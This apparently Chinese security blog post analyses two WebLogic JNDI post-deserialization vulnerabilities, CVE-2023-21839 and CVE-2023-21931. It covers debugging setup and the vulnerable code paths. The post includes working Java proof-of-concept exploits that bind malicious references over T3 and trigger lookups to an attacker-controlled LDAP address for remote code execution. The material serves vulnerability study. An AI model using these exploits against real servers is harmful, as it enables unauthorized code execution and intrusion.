Weblogic后反序列化分析

雷神众测

共 5409字,需浏览 11分钟

 ·

2023-06-09 11:28


2281994c3b628a1396df183fab534fe6.webp

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


2281994c3b628a1396df183fab534fe6.webp

前言

从来没有碰过weblogic,第一次分析踩了不少坑,不懂的地方也很多。如果哪里理解错了请多多指点。

如下提到漏洞官发均已完成修复。

2281994c3b628a1396df183fab534fe6.webp


环境部署-远程调试

这里踩了一个坑记录一下
当从官网安装weblogic的时候最好安装12c的,因为14.1.1的没有wljarbuilder.jar这个包,也就无法生成wlfullclient.jar,虽然不影响运行时调试,但是一堆包需要导入,而且很难跟随DeBug模式定位源代码
weblogic安装之后,在目录C:\Oracle\Middleware\Oracle_Home\wlserver\server中找到wljarbuilder.jar,并运行命令

          java -jar wljarbuilder.jar
        

将生成的wljarbuilder.jar复制到IDEA新建的项目中,并添加为库

e8de0da5e944658439ff16b377f57361.webp

然后在weblogic的C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\bin目录找到startWebLogic.cmd文件,在文件头添加开启调试命令

          set JAVA_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n
        

0c65d4d44c1ee16f9f2ef63aa5b9e151.webp

然后运行C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain的startWebLogic.cmd文件
在IDEA中开启远程调试模式,并且填入对应的IP与前面startWebLogic.cmd中的调试端口,我这里是在虚拟机中部署的,所以填的不是本地IP

a65e1882dd12b85c68f540150e650411.webp



2281994c3b628a1396df183fab534fe6.webp

T3协议

简单描述一下T3协议

92e3e976b3e7e0f067a7d908a4cc0a44.webp

使用wireshark捕获一下数据包

d04233b0c9305158a49c1ebb34a10ac6.webp

可以看到红色部分是由客户端发送自己的版本信息,蓝色部分为服务端返回自己的版本信息


2281994c3b628a1396df183fab534fe6.webp

CVE-2023-21839

查看POC

          import weblogic.deployment.jms.ForeignOpaqueReference;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;

public class Main {
static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY,JNDI_FACTORY);
env.put(Context.PROVIDER_URL,url);
return new InitialContext(env);
}
public static void main(String[] args) throws Exception {
InitialContext c = getInitialContext("t3://xx.xx.xx.xx:7001");
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
ForeignOpaqueReference f = new ForeignOpaqueReference();
Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f,env);
Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
remoteJNDIName.set(f,"ldap://xx.xx.xx.xx:1389/exp");
c.bind("sss",f);
c.lookup("sss");
}
}

此漏洞为后反序列化,bind之后不会触发漏洞,当执行lookup方法之后才会触发漏洞


漏洞点分析

先看文章中说的漏洞代码由weblogic/jndi/internal/WLNamingManager.getObjectInstance当boundObject是OpaqueReference对象或者子类的对象这个条件的时候会调用这个boundObject的getReferent方法

解释一下instanceof的用法:instanceof是Java中的二元运算符,左边是对象,右边是类;当对象是右边类或子类所创建对象时,返回true;否则,返回false。

77cc3bf1dfce9144040acb0c905de53b.webp

weblogic/deployment/jms/ForeignOpaqueReference正好满足这个条件,它的getReferent方法,通过构造jndiEnvironment来让代码执行到lookup函数

34110b8ad7d2c2c107dfce12acd598eb.webp

0c51ecd2eed0ad7e1267c196cff903f7.webp

其实这里我发现不论jndiEnvironment是否为null都可以走到lookup方法,都可以造成命令执行,但是后面会报错。但是为什么要将值设为com.sun.jndi.rmi.registry.RegistryContextFactory我没在代码中看到,直接就报错了,有懂的大佬可以跟我说一下。
现在可以搞清楚漏洞类是怎么构造的了,通过反射将ForeignOpaqueReference的成员变量jndiEnvironment与remoteJNDIName进行赋值,然后用bind方法发送

如何寻找利用类

在weblogic文档中可以看到解释

531a923b4e7ec054c25afd90e7476103.webp

POC中也和示例代码一样实现的,利用WLInitialContextFactory找到上下文中传递的漏洞类

动态调试分析

weblogic/jndi/internal/WLNamingManager.getObjectInstance下断点

a1b89f05b99ff972104356d40f57f9c4.webp

目前分析结果是weblogic/rmi/internal/BasicServerRef.invoke方法导致的,当他调用invoke方法时候,会调用md的lookup方法,此处应该由POC调用lookup之后导致的

1db64d71403c69651cb7e416847828ae.webp

接着向下,weblogic/jndi/internal/RootNamingNode_WLSkel.invoke可以看到调用了lookup方法

b52564a74ae42122324b23ac3950ee82.webp

后面就是一路向下,走到了weblogic/jndi/internal/BasicNamingNode.lookup方法,里面调用了resolveObject,然后达到利用链。


2281994c3b628a1396df183fab534fe6.webp

CVE-2023-21931

CVE-2023-21931与上面的CVE-2023-21839大同小异,只不过21839在ForeignOpaqueReference.getReferent中调用lookup方法,而21931直接在WLNamingManager.getObjectInstance调用lookup方法,走的判断条件不一样而已。
21931是当满足(boundObject instanceof LinkRef)为真的条件时会直接调用lookup
这里直接参照21839去写POC了

          import javax.naming.*;
import javax.naming.Context;
import java.util.Hashtable;

public class Main {
//使其找到ForeignOpaqueReference类
static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY,JNDI_FACTORY);
env.put(Context.PROVIDER_URL,url);
return new InitialContext(env);
}
public static void main(String[] args) throws Exception {
CVE_2023_21931_POC();
}
public static void CVE_2023_21931_POC() throws Exception {
InitialContext c = getInitialContext("t3://xx.xx.xx.xx:7001");
LinkRef r = new LinkRef("ldap://xx.xx.xx.xx:1389/exp");
c.bind("xxx",r);
c.lookup("xxx");
}
}

由于是获取他的linkName传入lookup的,所以直接在构造函数中写入linkName为恶意类加载地址

a19ec3d420ff92b066ee3530712fc349.webp

成功通过if判断并执行lookup函数。

df53113cc61c8d7a34d91a885970c126.webp


2281994c3b628a1396df183fab534fe6.webp

参考


weblogic 12.2.1.3api文档:

https://docs.oracle.com/html/E80373_03/
https://mp.weixin.qq.com/s/BXJYjt92J5WFMYw2oG9tGQ
https://www.freebuf.com/vuls/361370.html
http://rui0.cn/archives/1338
https://github.com/Ruil1n/after-deserialization-attack
http://drops.xmd5.com/static/drops/web-13470.html


安恒信息

杭州亚运会网络安全服务官方合作伙伴

成都大运会网络信息安全类官方赞助商

武汉军运会、北京一带一路峰会

青岛上合峰会、上海进博会

厦门金砖峰会、G20杭州峰会

支撑单位北京奥运会等近百场国家级

重大活动网络安保支撑单位

7b07f32547b0d216ba2135367c394250.webp


END

76bcc181a8d646d64e4ee7f6c217eaf0.webp 35c8dc3e95905cb80bf002f5f42f9b57.webp

长按识别二维码关注我们



浏览 109
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报